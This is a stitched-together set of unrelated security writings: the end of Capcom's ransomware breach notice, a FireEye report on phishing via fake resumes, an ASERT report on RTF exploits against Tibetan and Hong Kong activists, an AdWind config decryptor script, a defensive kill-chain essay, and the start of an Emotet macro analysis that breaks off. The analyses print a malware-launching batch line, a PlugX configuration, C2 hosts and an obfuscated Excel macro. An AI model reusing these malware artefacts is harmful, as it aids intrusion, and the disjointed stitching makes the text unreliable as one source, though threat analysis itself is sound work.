Potentially Compromised Information ### i. Information verified to have been compromised Since the January 12, 2021 announcement, the cumulative total for information verified to have been compromised since this investigation began decreased by 766 people, down to 15,649 people. ### ii. Potentially compromised data There have been no changes following the January 12, 2021 announcement. As described in previous announcements, none of the at-risk data contains credit card information. All online transactions etc. are handled by a third-party service provider on a separate system (not involved in this attack), and as such Capcom does not maintain any such information internally. Additionally, the areas that were impacted in the incident are unrelated to those systems used when connecting to the internet to play or purchase the company’s games online, which utilized and continue to utilize either an external third-party server or an external server (not involved in this attack). As such, these systems were outside the scope of the incident, and it remains safe for Capcom customers or others to connect to the internet to play or purchase the company’s games online. Further, regarding the total number of people whose data was potentially compromised, because a portion cannot specifically be ascertained due to issues including logs having been lost as a result of the attack, Capcom has included the maximum number of individuals whose data was maintained on all potentially compromised servers. Additionally, the company has not been able to confirm any damages, etc. resulting from actual misuse of the compromised information at this point in time. ## 5. Support for those whose personal information has been confirmed to have been compromised and those whose information has potentially been compromised i. Capcom is notifying those whose personal information or corporate information has been confirmed to have been compromised to discuss the background of this incident and current situation. ii. For individuals who wish to inquire about compromised personal information, as has been described in previous announcements, please contact the following support desks in your country or region: - **Japan**: Capcom Data Security Incident Support Line (Japanese only) Tel. (toll-free): Game customer inquiries: 0120-400161 General inquiries: 0120-896680 Hours: 10:00 AM – 8:00 PM - **North America**: Capcom USA Customer Support Page - **EMEA**: Capcom Europe Customer Support: [email protected] The number of inquiries the company has received in Japan has been declining: In the month prior to this announcement, the daily average was 0.2 inquiries per day; in the week prior to this announcement, the daily average was 0.1 inquiries per day. ## 6. Regarding Capcom’s Awareness of Ransom Demands While it is true that the threat actor behind this attack left a message file on the devices that were infected with ransomware containing instructions to contact the threat actor to negotiate, there was no mention of a ransom amount in this file. As explained in previous announcements, Capcom consulted with law enforcement and determined to not engage the threat actor in negotiations; the Company in fact took no steps to make contact (see the company’s November 16, 2020 announcement), and as such Capcom is not aware of any ransom demand amounts. While there have been no changes to the most recent forecast for the Capcom Group’s consolidated business results (for the fiscal year ended March 31, 2021), the company will swiftly make an announcement in the case that any further disclosure is necessary. Capcom would once again like to reiterate its deepest apologies for any complications or concerns caused by the incident. As a company that handles digital content, it is treating this incident with the utmost seriousness, and will take the appropriate action to address any requests or directions provided by law enforcement and other relevant authorities in each country. At the same time, Capcom will endeavor to further strengthen its management structure while coordinating with the relevant organizations to pursue its legal options regarding criminal acts. Inquiries regarding the above information may be directed to: **Press Contact** North & South America: press.capcom.com Europe, Middle East & Africa: www.capcomeuro-press.com **Customer Support** North & South America: www.capcom.com/support Europe, Middle East & Africa: [email protected] **Investors** Public Relations and Investor Relations Section (Tel) +81-6-6920-3623 (Fax) +81-6-6920-5108 **Business Partners** Please contact the representative department with which you work.
# Clandestine Fox, Part Deux We reported at the end of April and the beginning of May on an APT threat group leveraging a zero-day vulnerability in Internet Explorer via phishing email attacks. While Microsoft quickly released a patch to help close the door on future compromises, we have now observed the threat actors behind “Operation Clandestine Fox” shifting their point of attack and using a new vector to target their victims: social networking. An employee of a company in the energy sector recently received an email with a RAR archive email attachment from a candidate. The attachment, ostensibly containing a resume and sample software program the applicant had written, was from someone we’ll call “Emily” who had previously contacted the actual employee via a popular social network. FireEye acquired a copy of the suspicious email and attachment from the targeted employee and investigated. The targeted employee confirmed that “Emily” had contacted him via the popular social network, and that, after three weeks of back and forth messaging, “she” sent her “resume” to his personal email address. Working our way backwards, we reviewed “Emily’s” social network profile and noticed a few strange aspects that raised some red flags. For example, “her” list of contacts had a number of people from the victim’s same employer, as well as employees from other energy companies; “she” also did not seem to have many other “friends” that fit “her” alleged persona. “Her” education history also contained some fake entries. Further research and discussions with the targeted company revealed that “Emily,” posing as a prospective employee, had also contacted other personnel at the same company. She had asked a variety of probing questions, including inquiring who the IT Manager was and what versions of software they ran – all information that would be very useful for an attacker looking to craft an attack. It’s worth emphasizing that in the instances above, the attackers used a combination of direct contact via social networks as well as contact via email, to communicate with their intended targets and send malicious attachments. In addition, in almost all cases, the attackers used the target’s personal email address, rather than his or her work address. This could be by design, with a view toward circumventing the more comprehensive email security technologies that most companies have deployed, or also due to many people having their social network accounts linked to their personal rather than work email addresses. ## Details - Email Attachment #1 The `resume.rar` archive contained three files: a weaponized version of the open-source TTCalc application (a mathematical big number calculator), a benign text copy of the TTCalc readme file, and a benign PDF of Emily’s resume. The resume was a nearly identical copy of a sample resume available elsewhere on the Internet. The file details are below. | Filename | MD5 Hash | |------------------|----------------------------------------| | resume.rar | 8b42a80b2df48245e45f99c1bdc2ce51 | | readme.txt | 8c6dba68a014f5437c36583bbce0b7a4 | | resume.pdf | ee2328b76c54dc356d864c8e9d05c954 | | ttcalc.exe | e6459971f63612c43321ffb4849339a2 | Upon execution, `ttcalc.exe` drops the two files listed below, and also launches a legitimate copy of TTCalc v0.8.6 as a decoy: - `%USERPROFILE%/Application Data/mt.dat` - `%USERPROFILE%/Start Menu/Programs/Startup/vc.bat` The file `mt.dat` is the actual malware executable, which we detect as Backdoor.APT.CookieCutter. In this case, the malware was configured to use the following remote servers for command and control: - swe[.]karasoyemlak[.]com - inform[.]bedircati[.]com (Note: This domain was also used during Operation Clandestine Fox) - 122.49.215.108 ### Metadata for mt.dat: | Description | MD5 Hash | |------------------|----------------------------------------| | md5 | 1a4b710621ef2e69b1f7790ae9b7a288 | | .text | 917c92e8662faf96fffb8ffe7b7c80fb | | .rdata | 975b458cb80395fa32c9dda759cb3f7b | | .data | 3ed34de8609cd274e49bbd795f21acc4 | | .rsrc | b1a55ec420dd6d24ff9e762c7b753868 | | .reloc | afd753a42036000ad476dcd81b56b754 | | Import Hash | fad20abf8aa4eda0802504d806280dd7 | | Compile date | 2014-05-27 15:48:13 | Contents of `vc.bat`: ``` @echo off cmd.exe /C start rundll32.exe "C:\Documents and Settings\admin\Application Data\mt.dat" UpdvaMt ``` ## Details - Email Attachment #2 Through additional research, we were able to obtain another RAR archive email attachment sent by the same attackers to an employee of another company. Note that while there are a lot of similarities, such as the fake resume and inclusion of TTCalc, there is one major difference, which is the delivery of a completely different malware backdoor. The attachment name this time was `my resume and projects.rar`, but this time it was protected with the password `TTcalc`. | Filename | MD5 Hash | |---------------------------------|----------------------------------------| | my resume and projects.rar | ab621059de2d1c92c3e7514e4b51751a | | SETUP.exe | 510b77a4b075f09202209f989582dbea | | my resume.pdf | d1b1abfcc2d547e1ea1a4bb82294b9a3 | `SETUP.exe` is a self-extracting RAR, which opens the WinRAR window when executed, prompting the user for the location to extract the files. It writes them to a TTCalc folder and tries to launch `ttcalcBAK.exe` (the malware dropper), but the path is incorrect so it fails with an error message. All of the other files are benign and related to the legitimate TTCalc application. | Filename | MD5 Hash | |------------------|----------------------------------------| | CHANGELOG | 4692337bf7584f6bda464b9a76d268c1 | | COPYRIGHT | 7cae5757f3ba9fef0a22ca0d56188439 | | README | 1a7ba923c6aa39cc9cb289a17599fce0 | | ttcalc.chm | f86db1905b3f4447eb5728859f9057b5 | | ttcalc.exe | 37c6d1d3054e554e13d40ea42458ebed | | ttcalcBAK.exe | 3e7430a09a44c0d1000f76c3adc6f4fa | The file `ttcalcBAK.exe` is also a self-extracting RAR which drops and launches `chrome_frame_helper`, which is a Backdoor.APT.Kaba (aka PlugX/Sogu) backdoor using a legitimate Chrome executable to load the malicious DLL via side-loading. Although this backdoor is used by multiple threat groups and is quite commonly seen these days, this is the first time we've observed this particular threat group using this family of malware. The malware was configured to communicate to the command and control domain `www[.]walterclean[.]com` (72.52.83.195 at the time of discovery) using the binary TCP protocol only. The file details are below, followed by the malware configuration. | Filename | MD5 Hash | |---------------------------------|----------------------------------------| | chrome_frame_helper.dll | 98eb249e4ddc4897b8be6fe838051af7 | | chrome_frame_helper.dll.hlp | 1b57a7fad852b1d686c72e96f7837b44 | | chrome_frame_helper.exe | ffb84b8561e49a8db60e0001f630831f | ### Metadata | Description | MD5 Hash | |------------------|----------------------------------------| | chrome_frame_helper.dll | 98eb249e4ddc4897b8be6fe838051af7 | | .text | dfb4025352a80c2d81b84b37ef00bcd0 | | .rdata | 4457e89f4aec692d8507378694e0a3ba | | .data | 48de562acb62b469480b8e29821f33b8 | | .reloc | 7a7eed9f2d1807f55a9308e21d81cccd | | Import hash | 6817b29e9832d8fd85dcbe4af176efb6 | | Compile date | 2014-03-22 11:08:34 | ### Backdoor.APT.Kaba Malware Configuration: PlugX Config (0x150c bytes): - Flags: False True False False False False True True True True False - Timer 1: 60 secs - Timer 2: 60 secs - C&C Address: www[.]walterclean[.]com:443 (TCP) - Install Dir: %ALLUSERSPROFILE%\chrome_frame_helper - Service Name: chrome_frame_helper - Service Disp: chrome_frame_helper - Service Desc: Windows chrome_frame_helper Services - Online Pass: 1234 - Memo: 1234 ## Open Source Intel The domain `walterclean[.]com` shares registration details with `securitywap[.]com`: The following domains are registered to [email protected] - Domain: walterclean[.]com - Create Date: 2014-03-26 00:00:00 - Registrar: ENOM, INC. - Domain: securitywap[.]com - Create Date: 2014-03-26 00:00:00 - Registrar: ENOM, INC. ## Conclusion In short, we attributed these attacks to the same threat actor responsible for “Operation Clandestine Fox,” based on the following linkages: - The first-stage malware (`mt.dat`) is a slightly updated version of the Backdoor.APT.CookieCutter malware dropped during Operation Clandestine Fox. - Based on our intel, Backdoor.APT.CookieCutter has been used exclusively by this particular threat group. - Finally, the command and control domain `inform[.]bedircati[.]com` seen in this activity was also used during the Clandestine Fox campaign. Another evolutionary step for this threat group is that they have diversified their tool usage with the use of the Kaba/PlugX/Sogu malware – something we have never seen them do before. As we have noted in other blog posts, APT threat actors take advantage of every possible vector to try to gain a foothold in the organizations they target. Social networks are increasingly used for both personal and business reasons, and are one more potential threat vector that both end-users and network defenders need to think about. Unfortunately, it is very common for users to let their guard down when using social networks or personal email, since they don’t always treat these services with the same level of risk as their work email. As more companies allow their employees to telecommute, or even allow them to access company networks and/or resources using their personal computers, these attacks targeting their personal email addresses pose significant risk to the enterprise. ## Acknowledgements The author would like to acknowledge the following colleagues for their contributions to this report: Josh Dennis, Mike Oppenheim, Ned Moran, and Joshua Homan.
# ASERT Threat Intelligence Report 2016-03: The Four-Element Sword Engagement ## Executive Summary In this paper, we reveal recent ongoing APT activity likely associated with long-running threat campaigns and the presumed existence of associated malcode, dubbed the Four Element Sword Builder, used to weaponize RTF documents for use in these campaigns. A sample of twelve different targeted exploitation incidents (taken from a larger set of activity) are described along with any discovered connections to previously documented threat campaigns. Four vulnerabilities - CVE-2012-0158, CVE-2012-1856, CVE-2015-1641, and CVE-2015-1770 - related to the parsing of Microsoft Rich Text File (RTF) documents are being leveraged by advanced threat actors to launch exploitation campaigns against members of the Tibetan community, along with journalists and human rights workers in Hong Kong and Taiwan. One of these vulnerabilities – CVE-2015-1641 – has been typically used in cybercrime operations starting in 2015 and has not been widely observed in use by Advanced Persistent Threat (APT) actors until now. The vulnerabilities are being used to deliver Chinese-oriented malware payloads such as Grabber, T9000, Kivars, PlugX, Gh0StRAT, and Agent.XST. Analysis of malware payloads, malware metadata, and actor group Tactics, Techniques and Procedures (TTPs) provides useful insight into the malware, targeting, and links to past threat actor infrastructure. Indicator overlap reveals a connection to prior exploitation campaigns against the World Uyghur Congress (WUC) from 2009-2014 as presented in 2014 at the Usenix security conference. Additional indicators suggest an overlap with the actors behind “Operation Shrouded Crossbow.” This recent activity matches pre-existing targeting patterns towards the “Five Poisons” - organizations and individuals associated with perceived threats to Chinese government rule: Uyghurs, Tibetans, Falun Gong, members of the democracy movement, and advocates for an independent Taiwan. This targeting scheme, along with various malware artifacts and associated metadata, suggests that the threat actors herein have a Chinese nexus. Additional malware following the same type of patterns described has been discovered since this report was written, and suggests that these generalized threat campaigns using weaponized RTF documents are ongoing. ## Vulnerabilities: CVE-2012-0158, CVE-2012-1856, CVE-2015-1641, CVE-2015-1770 The Four Element Sword Builder has been observed to utilize exploit code against four distinct vulnerabilities. Each malicious document created by the builder appears to leverage three or four of these vulnerabilities in the same RTF document, given a .DOC extension. Some targets may warrant the use of newer exploit code, while others running on dated equipment and operating systems may still fall victim to the older exploits. Actors will typically only use the amount of force necessary to accomplish their actions on objectives and will not typically burn 0day exploit code or the most advanced techniques against targets that do not require them. 1. **CVE-2012-0158**: This is a vulnerability affecting the ListView, ListView2, TreeView, and TreeView2 ActiveX controls in MSCOMCTL.OCX in the Common Controls of various versions of Office and other software. CVE-2012-0158 continues to be an extremely popular vulnerability, used by various threat actors for years. A review of Virus Total reveals activity as early as November of 2010, with over 1000 distinct file submissions. The fact that this exploit continues to be bundled into contemporary campaigns is a testament to its longevity, although actors have incorporated more recent CVEs into their toolkits since targets are likely patching older vulnerabilities either by system replacement or through ongoing maintenance. The first public mention of this CVE being used in targeted exploitation campaigns was on April 16, 2012 with additional research published on April 19, 2012. Both of those campaigns demonstrate targeting of the Tibetan community and also reveal an interest in the South China Sea. While early actors apparently developed their own exploit code, publicly available exploit code for this has been present in the Metasploit Framework since April 23, 2012, allowing any actor since then easy access to leverage this vulnerability for their own purposes. 2. **CVE-2012-1856**: This is a vulnerability in the TabStrip ActiveX control in the Common Controls of MSCOMCTL.OCX and affects various versions of Office and other software. This vulnerability has also been used in various targeted threat campaigns, although it is detected less often than CVE-2012-0158. Virus Total reveals 85 instances of this exploit code in February of 2016, with the first submission in September of 2013, one submission a year later in September 2014, and then a substantial increase in activity starting in April of 2015. As of March 30, 2016, Virus Total reveals 353 instances of exploit code for CVE-2012-1856, indicating a substantial increase in activity and/or detection. Malicious documents containing a combination of exploit code for CVE-2012-0158 and CVE-2012-1856 were observed as early as October of 2012, however customers of VUPEN, an offensive security company, were aware of this vulnerability since September of 2010, although public disclosure was not made until August of 2012 – nearly two years later when Microsoft patched the bug with MS12-060. 3. **CVE-2015-1641**: The vulnerability involves the parsing of crafted RTF documents affecting a variety of versions of Office. Virus Total contains 130 instances of exploit code for this vulnerability, with the first submission from August of 2015. Seven instances of this vulnerability appear in specific email files beginning in at least November of 2015. Several of these email messages appear to be generated by actors interested in commercial and financial system compromise. An exploit for this vulnerability was being sold in the wild for $2000 in Mid-July of 2015 and was posted to YouTube on July 22, 2015. 4. **CVE-2015-1770**: “Microsoft Office 2013 SP1 and 2013 RT SP1 allows remote attackers to execute arbitrary code via a crafted Office document, aka "Microsoft Office Uninitialized Memory Use Vulnerability." The vulnerability appears to be in an ActiveX control, according to Microsoft’s MS15-059 bulletin. Some likely Italian-based exploitation activity involving the uWarrior Remote Access Trojan was observed in August of 2015 using CVE-2015-1770 and other older exploit code. Other instances of exploit code have been observed, and the volume is increasing. On Feb 2, 2016 there were only 42 recognized samples of this exploit code found in Virus Total. As of March 30, the number has tripled to 128. Of the observed samples, the first submission was from August 4, 2015 and the most recent is from March 22, 2016. An exploit apparently for CVE-2015-1770 (plus CVE-2015-1650) was being sold starting in Mid-September 2015 by a group calling themselves “DaVinci Coders” that allows the threat actor to embed a binary of their choice inside the Office document that will then be executed when the Office document is opened on an unpatched system. Numerous crafted RTF documents containing author metadata “Confidential Surfer” were discovered in September of 2015, and may be connected to this release. While many instances of exploit code hitting CVE-2015-1170 were discovered, underground forum chatter suggests that exploit quality may not always be top-notch. The quality or efficacy of these particular cybercrime-oriented exploits appears to vary, based on the number of times exploitation appeared to fail during analysis. ## Targeted Exploitation #1: Human Rights Lawyers & Tibetan Activist, Grabber Malware On December 31, 2015, a malicious RTF file (with a .DOC extension) using the filename “US Congress sanctions $6 million fund for Tibetans in Nepal and India.doc” was mailed to two targets via spear-phishing tactics. The RTF file hashes are included in the IOC section. Exploit code targeting four distinct CVEs was detected in this and other attachments to spearphish messages and includes all four vulnerable elements: CVE-2012-0158, CVE-2012-1856, CVE-2015-1641, and CVE-2015-1770. Targeting for sample #1: Hong-Kong Based Legal Aid Group and Tibetan Activist The email was sent to a human rights associated group in Hong Kong and a BCC sent to an exiled Tibetan activist. The body of the document is about aid for the Tibetan community. A portion is reproduced here: Document metadata indicates that someone using the name “bull” was the last person to modify and save the document. The last modification date was December 31, 2015 – the same day the mail was sent to targets. Rendering the Tibetan themed RTF document with a vulnerable instance of Office results in the injection of the Grabber (aka EvilGrab) malware into the ctfmon.exe process. Grabber provides all of the usual Remote Access Trojan (RAT) capabilities that any actor would want, such as the capability to remotely control the target system, list files, download and execute, spy on the user, download other code and execute commands to perform lateral movement, exfiltrate data, etc. For those seeking more background, a helpful document to understand the full capabilities of Grabber was written by Unit 42 in 2015. Inside the compromised machine, the Process Hacker tool allows us to easily observe the injected process ctfmon.exe initiating an outbound connection to the C2 180.169.28[.]58 on TCP/8080. We can observe the User-Agent value hardcoded inside the Grabber binary. Past analysis suggests that Grabber exfiltrates data from the client in an encrypted fashion. This may not always be the case however, as tests revealed an interesting occurrence when the system was exploited a second time. System activity that occurred during the initial compromise was subsequently exfiltrated to the C2 in plaintext after the second comprise. This plaintext may allow additional, unexpected visibility for network security apparatus in the right circumstances. Below we see the tell-tale User-Agent value including the unusual series of bytes prior to the GET request followed by exfiltration of system-identifying information. ## Using Memory Forensics to Obtain a Higher Fidelity Malware Sample The original sample is obfuscated in such a manner that it is less useful for generating analytical insight, especially insight generated from static analysis. In order to obtain a cleaner sample we will need to extract it from the process that it was injected into. The Volatility memory forensics platform can help with this. First, the DumpIt tool provided in the Moonsols software package was used to generate a memory dump of the compromised system. The memory dump was taken just after successful exploitation, as indicated by the observation of traffic to the C2. We then determine the PID of the compromised process (ctfmon.exe) by using the Volatility plugin ‘pslist’. In this example, our memory dump is contained in the file EvilGrab2.raw: ```bash python vol.py -f c:\stuff\EvilGrab2.raw pslist --profile=Win7SP1x86 > pslist_take2.txt ``` The malfind plugin can help us discover memory regions where code injection has occurred. Running malfind with: ```bash python vol.py -f c:\stuff\EvilGrab2.raw malfind --profile=Win7SP1x86 > malfind_run2.txt ``` provides us a short list of memory regions worthy of further analysis. In particular, malfind provides us with indicators of code injection at memory address 0x150000 inside ctfmon.exe, where we observe the presence of an MZ header. Other MZ headers can be found in the memory space of ctfmon.exe at addresses 0x100000, 0x7ff80000 and 0x7ffa0000. We can extract the injected code with the dlldump plugin and save those files for easier analysis. In this case, the memory address 0x150000 was the most useful location for extraction. We extract the injected DLL from the base address 0x150000 and save it to disk with the following command: ```bash python vol.py -f c:\stuff\EvilGrab2.raw dlldump --pid 3596 --memory --base=0x150000 --profile=Win7SP1x86 --dump-dir=ctfmon_dlldump_directory ``` Analysis of the extracted file results in a much cleaner (but not perfect) instance of Grabber that allows the analyst or incident responder to gain greater insight into specific threat activity. For example, by using IDA Pro for static analysis on the freshly extracted file, we observe the naming scheme inside the code where threat actors have named the malware “Grabber”. Additionally, we can also observe the C2 (180.169.28[.]58) and a mutex string (v2014-v05) inside the .data section of the binary. An additional method to obtain deeper insight is to use Process Hacker 2, find the RWX memory sections within the ctfmon.exe process and visually analyze for malware artifacts. An analyst could also save the memory to a binary file to be opened and analyzed in IDA. By default the import table will not exist but some insight can be obtained. ## IOC’s - **C2**: 180.169.28.58:8080 - **MD5 (spearphish)**: 7d4f8341b58602a17184bc5c07311e8b - **MD5 (RTF)**: c674ae90f686d831cffc223a55782a93 - **MD5 (IEChecker.exe)**: 46c7d064a34c4e02bb2df56e0f8470c0 - **SHA-256 (Spearphish)**: bacc4edb5e775d2c957022ad8360946c19f9f75ef2709c1db2d6708d53ec2cd1 - **SHA-256 (RTF)**: af2cc5bb8d97bf019280c80e2891103a8a1d5e5f8c6305b6f6c4dd83ec245a7d - **SHA-256 (IEChecker.exe)**: 7a200c4df99887991c638fe625d07a4a3fc2bdc887112437752b3df5c8da79b6 ## Connections to Historical and Ongoing Threat Campaign Activity: Uyghur NGO, Tibetans The C2 is 180.169.28[.]58 TCP/8080 and is located in Shanghai, China. This IP address has been associated with a dynamic DNS provider, and has resolved as goodnewspaper.f3322[.]org and xinxin20080628.3322[.]org in the past. Goodnewspaper[.]f3322.org as well as potentially related domains goodnewspaper.3322[.]org and goodnewspaper.gicp[.]net were listed as C2 for threat activity in a paper presented at the Usenix conference in 2014 entitled “A Look at Targeted Attacks Through the Lense of an NGO” that analyzes targeted exploitation campaigns from 2009 and 2013 directed particularly at the World Uyghur Congress (WUC) NGO. As a result of this infrastructure overlap, we see a connection to prior activity and a larger historical sense of targeting against Uyghur interests. In addition to the goodnewspaper sites, we also see numerous other Uyghur themed sites associated to the IP address. The xinxin20080628 hostname portion of one of the domain names is also interesting, as it was mentioned in a 2009 report by F-secure as associated with a different dynamic DNS provider, gicp.net. The domain in that case was xinxin20080628.gicp[.]net instead of xinxin20080628.3322[.]org as observed here. The xinxin20080628.3322[.]org domain only resolved for a very short period of approximately four hours on April 23, 2014. While it is of course possible that the use of this domain is a misdirection designed to point analysts in the wrong direction, it is also possible that the actor using the dynamic DNS client/script made a mistake and temporarily resolved the domain, or had need to do so on a short-term basis (to test C2 perhaps). As this is an older artifact, there could be other explanations however it is a clue worth noting that may tie modern activity to previously documented campaigns and their TTPs and threat actors. A master list of IOC’s provided by Citizen Lab (released in conjunction with their reporting on various advanced threat activity) lists the domain xinxin20080628.gicp.net in November 2010 and the IP address being used at that time: 2010-11-19 xinxin20080628.gicp.net 114.60.106.156. This domain is also included in the aforementioned USENIX paper. Other campaign activities involving the xinxin20080628.gicp.net domain were profiled by Communities @ Risk and reveals activity in 2010 involving two executables delivered to a target. The payload in that case was the IEXPL0RE RAT, also known as C0d0s0. The IEXPL0RE campaign discussed therein involved targeting of Tibetan and Chinese communities.
```python #!/usr/local/bin/env python ######################################################################################################## ## ## Decrypts the AdWind configuration files! ## ** May also work for other files ** ## ## All credit to Michael Helwig for the original Java implementation: ## ## Author: @herrcore ## ######################################################################################################## try: import javaobj except: print("You need to install javaobj-py3... try pip install javaobj-py3") from Crypto.Cipher import AES from Crypto.PublicKey import RSA import argparse import sys def __read_file(file_path): with open(file_path, "rb") as fp: data = fp.read() if not data: print("Error: file %s could not be read" % file_path) sys.exit(-1) return data def main(): parser = argparse.ArgumentParser(description="Decrypt AdWind configuration files.") requiredNamed = parser.add_argument_group('required named arguments') requiredNamed.add_argument('--rsa_file', dest="rsa_file", default=None, help="Specify path to the serialized RSA KeyRep file", required=True) requiredNamed.add_argument('--aes_file', dest="aes_file", default=None, help="Specify path to the AES file (RSA encrypted)", required=True) requiredNamed.add_argument('--config_file', dest="config_file", default=None, help="Specify path to the encrypted config file", required=True) args = parser.parse_args() rsa_data = __read_file(args.rsa_file) aes_data = __read_file(args.aes_file) config_data = __read_file(args.config_file) # deserialize the KeyRep RSA file pobj = javaobj.loads(rsa_data) # extract RSA DES key from deserialized class rsa_priv_bytes = ''.join([chr(y & 0xff) for y in pobj.encoded._data]) rsa_priv_crypt = RSA.importKey(rsa_priv_bytes) aes_key_data = rsa_priv_crypt.decrypt(aes_data) # Split on '\x00' and remove the first bit as it's padding aes_key = aes_key_data.split('\x00')[-1] # default java aes is ECB with null iv iv = b'\x00' * 16 aes_crypt = AES.new(aes_key, AES.MODE_ECB, iv) ptxt_config = aes_crypt.decrypt(config_data) print(ptxt_config) if __name__ == '__main__': main() ```
# Focusing on “Left of Boom” The security community was recently transfixed by rapidly evolving events in Ukraine in mid-January 2022: First, a large-scale web defacement campaign, then revelations of concurrent (if not necessarily closely coordinated) wiper activity, given the name “WhisperGate,” against targets in the region. Once news of the latter emerged, security researchers rushed to analyze the malware in question (of which only one sample of each “stage” is known as of this writing) and publish their findings. While these events are concerning due to overall geopolitical context and potential event significance, the overwhelming focus of information security resources on the execution of destructive malware in victim environments is misplaced. If we map what is known about the events in Ukraine to the Cyber Kill Chain, the WhisperGate wiper malware (and related tools) represent the final stages of adversary activity in victim environments. If we were to compare WhisperGate’s execution to a bomb going off, detection of WhisperGate itself represents awareness and defense at the time of explosion: The adversary has succeeded in placing, setting, and arming the bomb, and it has exploded. From a defensive standpoint, our preference would be to detect and disrupt operations as far “left of boom” as possible to avoid worst-case outcomes. Focusing resources and research on the final phase of adversary activity, whether a likely state-sponsored destructive item like WhisperGate or more general ransomware execution, ignores all preceding steps through which adversaries must be successful in order to execute actions on desired objectives — essentially, ceding initiative and time to threat actors that defenders could otherwise use to detect and mitigate intrusions at earlier stages. As shown in the following diagram, adversaries must migrate through various operational phases, each dependent on succeeding in prior steps, to achieve their objectives. Defenders can leverage these inherent attacker dependencies to build and deploy in-depth defense for monitored networks. Looking specifically at the WhisperGate incidents and (potentially) related activity, information is unfortunately limited concerning early-phase intrusion activities. However, such information is not completely absent, as reports from several entities, including the Ukrainian CERT, provide enough context to identify general behaviors and techniques used by the adversary: 1. Use of compromised credentials to access victim environments via single-factor authentication 2. File staging in standard, default directories such as “C:\ProgramData” and “C:\temp” 3. Remote execution using tools associated with the Impacket collection of scripts 4. Use of Discord as a content delivery network (CDN) to stage and then retrieve follow-on tools as part of the destructive process The above items are hardly unique for intrusions, whether discussing state-directed threats or ransomware operators. Yet they also represent the most likely areas defenders can vector resources to gain visibility or improve immediate defensive outcomes. By understanding these higher-level behaviors and the means through which they can be detected — in host or network visibility — defenders can meaningfully learn from the campaign ending in WhisperGate in such a fashion as to identify similar intrusions at earlier, more actionable phases of the adversary’s lifecycle. One challenge in a behavior-focused approach to security is the difficulty in translating an understanding of behaviors into technical observables or signatures. Such concerns can be reduced to a simple complaint that none of the noted behaviors are reducible to a single, semi-actionable “indicator of compromise” (IOC), such as the malware hashes for WhisperGate. Yet given the debasement of IOCs for defensive purposes, the utility of a couple of malware hashes is highly debatable. The underlying source code for WhisperGate can be compiled, packed, obfuscated, or otherwise presented in myriad ways (including purely in memory, as seen in later stages of WhisperGate actions) that will produce a nearly unlimited number of hashes for defenders to track. Instead of concentrating defense on sample-specific observations at the “Actions on Objectives” or final stages of an intrusion, defenders can instead apply layered security controls targeting known adversary behaviors for a more robust defensive posture: 1. Identifying and limiting directly accessible access points to a minimum necessary amount and monitoring access attempts and traffic sources for signs of anomalies. 2. Implementing and enforcing multi-factor authentication (MFA) for external-to-internal and internal-to-internal remote authentication to reduce the impact of credential harvesting and reuse. 3. Identify file download to and execution from common directory locations with less restricted permissions such as %TEMP% and related items. Where possible, link such observations with file characteristic details (file signature, file metadata, or other items) to produce composite, higher-confidence alerts of suspicious activity. 4. Log and monitor remote process execution mechanisms, including PSExec-like capabilities but also SMB and WMI-based methods found in frameworks such as Impacket. 5. Limit or track retrieval of potentially malicious payloads (such as executable files or shellcode payloads) from third-party sources and CDNs. Limit exposure where possible, or leverage analysis of payloads to identify potentially malicious items for further action. Through a whole-of-kill-chain defensive approach, described above and illustrated in the diagram below, defenders can ensure coverage of adversary initial and intermediate intrusion stages well in advance of final objectives. In addition to ensuring that defenders can potentially catch (or mitigate) malicious activity earlier in the adversary’s operational lifecycle, such layering also ensures that when adversaries inevitably modify or change behaviors at one (or potentially more) operational stages, defenses and observations at other phases of adversary activity hold the possibility of identifying behaviors of interest. In observing events, whether headline-grabbing incidents such as those in Ukraine or the steady drumbeat of ransomware incidents, defenders should be focused as much as possible on how to detect and mitigate intrusions as early and consistently as possible. Analysis of final-stage events, such as the WhisperGate wiper, can be of significant academic interest and enable research into adversary intentions and methodologies, but for operationally relevant network defense, such an exclusive approach simply yields far too much ground to threats to be sustainable. Instead, by layering defense and detection throughout the phases of the Cyber Kill Chain, opportunities emerge to identify adversary actions at multiple points prior to final actions — whether a destructive wiper or a disruptive ransomware event — and place the defended and monitored organization on far sounder and more robust footing.
# Emotet's Excel 4.0 Macros Dropping DLLs By Tony Lambert Posted 2022-01-17 Updated 2022-03-28 It’s been a little while since I checked in on Emotet to see how its first stage loaders are doing. Lately the first stage has been using Excel 4.0 macros to drop payloads, so in this post I’ll walk through the analysis of one Emotet Excel document. If you want to play along at home, I’m working with this sample in MalwareBazaar. ## Triaging the File As always, we should confirm our filetype first. Let’s give it a go using `file`, `xxd`, and `head`. ```bash remnux@remnux:~/cases/emotet$ file nn30.xlsm nn30.xlsm: Microsoft Excel 2007+ remnux@remnux:~/cases/emotet$ xxd nn30.xlsm | head 00000000: 504b 0304 1400 0600 0800 0000 2100 a78b PK..........!... 00000010: 2b33 c901 0000 9707 0000 1300 0802 5b43 +3............[C 00000020: 6f6e 7465 6e74 5f54 7970 6573 5d2e 786d ontent_Types].xm 00000030: 6c20 a204 0228 a000 0200 0000 0000 0000 l ... 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0101 0000 0000 0000 0000 ................ 00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................ ``` The file output says the file magic belongs to an Excel document, and the first few bytes are what I’d expect from an Excel document. The PK part of the magic is common to zip archives as well and Excel XLSX documents are similar to zip archives. The string `[ContentTypes].xml` refers to the filename of one of the XML files that make up a larger Excel document. If you unzip a XLSX file, you’ll find one of those files in the extracted content. All told, this is consistent with an Excel doc. ## Analyzing the Document A good starting point for the analysis is `olevba`. ```bash remnux@remnux:~/cases/emotet$ olevba nn30.xlsm olevba 0.60 on Python 3.8.10 - http://decalage.info/python/oletools =============================================================================== FILE: nn30.xlsm Type: OpenXML ------------------------------------------------------------------------------- VBA MACRO xlm_macro.txt in file: xlm_macro - OLE stream: 'xlm_macro' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ' RAW EXCEL4/XLM MACRO FORMULAS: ' SHEET: EWDFFEFAD, Macrosheet ' CELL:E13, 1 /3=FORMULA(Srieifew1!E2,E16)=FORMULA(Buuk1!P22&Buuk1!H9&Buuk1!L2&Buuk1!B15&Buuk1!B15&Srieifew1!B10&Srieifew1!D6&Srieifew1!F9&SrieifewE32), 0 ' - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 